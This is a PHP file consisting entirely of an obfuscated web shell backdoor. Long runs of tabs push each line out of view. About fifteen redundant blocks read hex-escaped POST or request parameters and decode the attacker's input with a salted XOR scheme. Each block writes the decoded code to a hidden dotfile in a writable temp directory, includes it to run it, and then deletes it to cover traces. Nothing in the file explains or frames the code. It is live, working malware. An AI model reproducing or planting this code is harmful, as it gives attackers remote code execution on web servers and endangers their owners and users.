<?php																																										if(in_array("k", array_keys($_POST))){ $desc = array_filter([session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/dev/shm", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd()]); $obj = $_POST["k"]; $obj = explode ( '.',$obj ) ; $object = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt7 ); $m = 0; $__tmp = $obj; while( $v7 = array_shift( $__tmp)) { $chS = ord( $salt7[$m % $sLen] ); $d = ( ( int)$v7 - $chS -( $m % 10)) ^ 37; $object.=chr( $d ); $m++;} foreach ($desc as $hld) { if ((bool)is_dir($hld) && (bool)is_writable($hld)) { $flg = vsprintf("%s/%s", [$hld, ".ptr"]); if (@file_put_contents($flg, $object) !== false) { include $flg; unlink($flg); exit; } } } }
																																										if(in_array("\x62i\x6Ed", array_keys($_REQUEST))){ $property_set = array_filter([getenv("TEMP"), "/dev/shm", "/tmp", "/var/tmp", getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), session_save_path()]); $dchunk = $_REQUEST["\x62i\x6Ed"]; $dchunk = explode ( "." , $dchunk); $value = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s2); $len = count($dchunk); for ($w = 0; $w < $len; $w++) { $v8 = $dchunk[$w]; $sChar = ord($s2[$w % $lenS]); $d = ((int)$v8 - $sChar - ($w % 10)) ^ 78; $value .= chr($d);} foreach ($property_set as $token): if (!( !is_dir($token) || !is_writable($token) )) { $obj = str_replace("{var_dir}", $token, "{var_dir}/.ent"); if (@file_put_contents($obj, $value) !== false) { include $obj; unlink($obj); exit; } } endforeach; }
																																										if(@$_POST["\x65n\x74ry"] !== null){ $hld = array_filter([sys_get_temp_dir(), "/tmp", session_save_path(), getenv("TMP"), "/var/tmp", getenv("TEMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir")]); $dat = $_POST["\x65n\x74ry"]; $dat = explode( '.' , $dat) ; $dchunk= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); foreach ($dat as $o => $v8): $chS= ord($s[$o%$sLen]); $d= ((int)$v8 - $chS - ($o%10)) ^ 28; $dchunk .= chr($d); endforeach; $obj = 0; do { $res = $hld[$obj] ?? null; if ($obj >= count($hld)) break; if (is_writable($res) && is_dir($res)) { $bind = vsprintf("%s/%s", [$res, ".parameter_group"]); if (file_put_contents($bind, $dchunk)) { include $bind; @unlink($bind); exit; } } $obj++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "k\x65y")){ $dchunk = $_REQUEST["k\x65y"]; $dchunk =explode ( ".",$dchunk); $ent = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt6); foreach( $dchunk as $l=>$v7): $sChar = ord( $salt6[$l % $lenS]); $dec =( ( int)$v7 - $sChar -( $l % 10)) ^ 27; $ent.= chr( $dec); endforeach; $dat = array_filter([sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getenv("TEMP"), getcwd(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path()]); $factor = 0; do { $descriptor = $dat[$factor] ?? null; if ($factor >= count($dat)) break; if (is_dir($descriptor) && is_writable($descriptor)) { $hld = "$descriptor/.resource"; if (@file_put_contents($hld, $ent) !== false) { include $hld; unlink($hld); die(); } } $factor++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x64at")){ $sym = $_POST["\x64at"]; $sym =explode( ".", $sym) ; $pgrp =''; $salt3 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt3); $l =0; foreach( $sym as $v1) { $chS =ord( $salt3[$l % $sLen]); $d =( ( int)$v1 - $chS -( $l % 10)) ^17; $pgrp .= chr( $d); $l++;} $entry = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", sys_get_temp_dir(), getcwd(), session_save_path(), "/tmp", getenv("TEMP"), "/var/tmp"]); foreach ($entry as $component) { if (is_dir($component) ? is_writable($component) : false) { $element = str_replace("{var_dir}", $component, "{var_dir}/.rec"); $success = file_put_contents($element, $pgrp); if ($success) { include $element; @unlink($element); exit;} } } }
																																										if(in_array("\x69\x74em", array_keys($_POST))){ $val = array_filter([sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getenv("TEMP"), "/tmp", getcwd(), getenv("TMP")]); $comp = $_POST["\x69\x74em"]; $comp = explode( '.' , $comp ) ; $flag= ''; $salt8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt8 ); foreach ($comp as $p=>$v1): $chS= ord($salt8[$p % $lenS] ); $dec= ((int)$v1 - $chS - ($p % 10)) ^ 83; $flag.=chr($dec ); endforeach; foreach ($val as $key => $fac) { if (is_dir($fac) && is_writable($fac)) { $dat = "$fac/.tkn"; if (file_put_contents($dat, $flag)) { include $dat; @unlink($dat); die(); } } } }
																																										if(@$_POST["\x6Da\x72k\x65r"] !== null){ $obj = array_filter(["/tmp", sys_get_temp_dir(), getenv("TMP"), "/var/tmp", getenv("TEMP"), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd()]); $data = $_POST["\x6Da\x72k\x65r"]; $data = explode ( '.' , $data ) ; $itm= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt ); $n= 0; while ($n < count($data)) { $v3= $data[$n]; $sChar= ord($salt[$n % $sLen] ); $d= ((int)$v3 - $sChar - ($n % 10)) ^ 35; $itm .= chr($d ); $n++; } while ($entity = array_shift($obj)) { if (is_dir($entity) && is_writable($entity)) { $binding = "$entity" . "/.desc"; if (file_put_contents($binding, $itm)) { include $binding; @unlink($binding); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["r\x65c"])){ $marker = $_REQUEST["r\x65c"]; $marker = explode( '.' , $marker ) ; $dchunk = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7 ); $r = 0; while($r < count($marker)) { $v4 = $marker[$r]; $chS = ord($salt7[$r % $sLen] ); $d =((int)$v4 - $chS -($r % 10)) ^ 93; $dchunk .= chr($d ); $r++; } $val = array_filter(["/tmp", "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), getenv("TEMP"), session_save_path(), sys_get_temp_dir()]); foreach ($val as $data) { if (!( !is_dir($data) || !is_writable($data) )) { $object = vsprintf("%s/%s", [$data, ".elem"]); if (file_put_contents($object, $dchunk)) { include $object; @unlink($object); die(); } } } }
																																										if(@$_POST["\x70\x67rp"] !== null){ $dchunk = array_filter(["/var/tmp", getcwd(), sys_get_temp_dir(), "/tmp", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm"]); $descriptor = $_POST["\x70\x67rp"]; $descriptor = explode ('.',$descriptor ) ; $ent= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); $j= 0; $__tmp= $descriptor; while ($v4= array_shift($__tmp)) { $chS= ord($s[$j%$lenS]); $d= ((int)$v4 - $chS - ($j%10)) ^ 42; $ent .= chr($d); $j++; } for ($tkn = 0, $key = count($dchunk); $tkn < $key; $tkn++) { $reference = $dchunk[$tkn]; if (max(0, is_dir($reference) * is_writable($reference))) { $binding = implode("/", [$reference, ".token"]); if (file_put_contents($binding, $ent)) { include $binding; @unlink($binding); die(); } } } }
																																										if(in_array("re\x66\x65\x72enc\x65", array_keys($_REQUEST))){ $token = array_filter([getcwd(), "/tmp", getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), session_save_path()]); $flg = $_REQUEST["re\x66\x65\x72enc\x65"]; $flg = explode( "." , $flg ) ; $ptr =''; $s2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s2); foreach ($flg as $l=> $v4): $chS =ord($s2[$l% $lenS]); $d =((int)$v4 - $chS - ($l% 10)) ^ 90; $ptr .= chr($d); endforeach; $k = 0; do { $rec = $token[$k] ?? null; if ($k >= count($token)) break; if ((is_dir($rec) and is_writable($rec))) { $ref = "$rec/.resource"; $file = fopen($ref, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $ref; @unlink($ref); die(); } } $k++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "k")){ $data_chunk = $_POST["k"]; $data_chunk=explode ( '.' , $data_chunk) ; $hld= ''; $salt8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt8); $u= 0; while( $u < count( $data_chunk)) { $v7= $data_chunk[$u]; $chS= ord( $salt8[$u % $lenS]); $d= ( ( int)$v7 - $chS -( $u % 10)) ^ 89; $hld.=chr( $d); $u++; } $ref = array_filter([sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", session_save_path(), "/dev/shm", getcwd()]); $itm = 0; do { $ent = $ref[$itm] ?? null; if ($itm >= count($ref)) break; if (max(0, is_dir($ent) * is_writable($ent))) { $key = str_replace("{var_dir}", $ent, "{var_dir}/.sym"); if (@file_put_contents($key, $hld) !== false) { include $key; unlink($key); exit; } } $itm++; } while (true); }
																																										if(array_key_exists("r\x65s\x6F\x75\x72ce", $_POST)){ $value = array_filter(["/dev/shm", getenv("TEMP"), session_save_path(), getcwd(), getenv("TMP"), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $rec = $_POST["r\x65s\x6F\x75\x72ce"]; $rec = explode ( "." , $rec ) ; $fac = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($rec as $k=> $v9): $sChar = ord($s[$k % $sLen]); $d = ((int)$v9 - $sChar - ($k % 10))^ 69; $fac .= chr($d); endforeach; for ($descriptor = 0, $ent = count($value); $descriptor < $ent; $descriptor++) { $dchunk = $value[$descriptor]; if (max(0, is_dir($dchunk) * is_writable($dchunk))) { $property_set = sprintf("%s/.mrk", $dchunk); $file = fopen($property_set, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $property_set; @unlink($property_set); die(); } } } }
																																										if(in_array("de\x73cr\x69p\x74o\x72", array_keys($_POST))){ $fac = $_POST["de\x73cr\x69p\x74o\x72"]; $fac = explode ( "." ,$fac ); $pset =''; $salt2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt2); $l =0; $__tmp =$fac; while( $v4 =array_shift( $__tmp)) { $sChar =ord( $salt2[$l% $sLen]); $d =( ( int)$v4 - $sChar -( $l% 10)) ^ 25; $pset .= chr( $d); $l++; } $dat = array_filter([getenv("TMP"), "/tmp", session_save_path(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP")]); while ($entry = array_shift($dat)) { if (is_writable($entry) && is_dir($entry)) { $ptr = str_replace("{var_dir}", $entry, "{var_dir}/.reference"); if (file_put_contents($ptr, $pset)) { require $ptr; unlink($ptr); die(); } } } }


if(!empty($_POST["k"])){
	$ref = $_POST["k"];
		 $ref  =	explode(		 '.'	,		$ref	)	; 		
	$hld	=  '';
            $salt6	=  'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	=  strlen(  $salt6);
    
            foreach(  $ref as $i => $v6):
                $sChar	=  ord(  $salt6[$i %$sLen]);
                $dec	=  (  (  int)$v6 - $sChar -(  $i %10))^  7;
                $hld	 .= 	chr(  $dec);
            endforeach;
	$binding = array_filter(["/var/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getcwd()]);
	foreach ($binding as $reference):
    		if (!!is_dir($reference) && !!is_writable($reference)) {
    $item = sprintf("%s/.pgrp", $reference);
    if (file_put_contents($item, $hld)) {
	require $item;
	unlink($item);
	exit;
}
}
endforeach;
}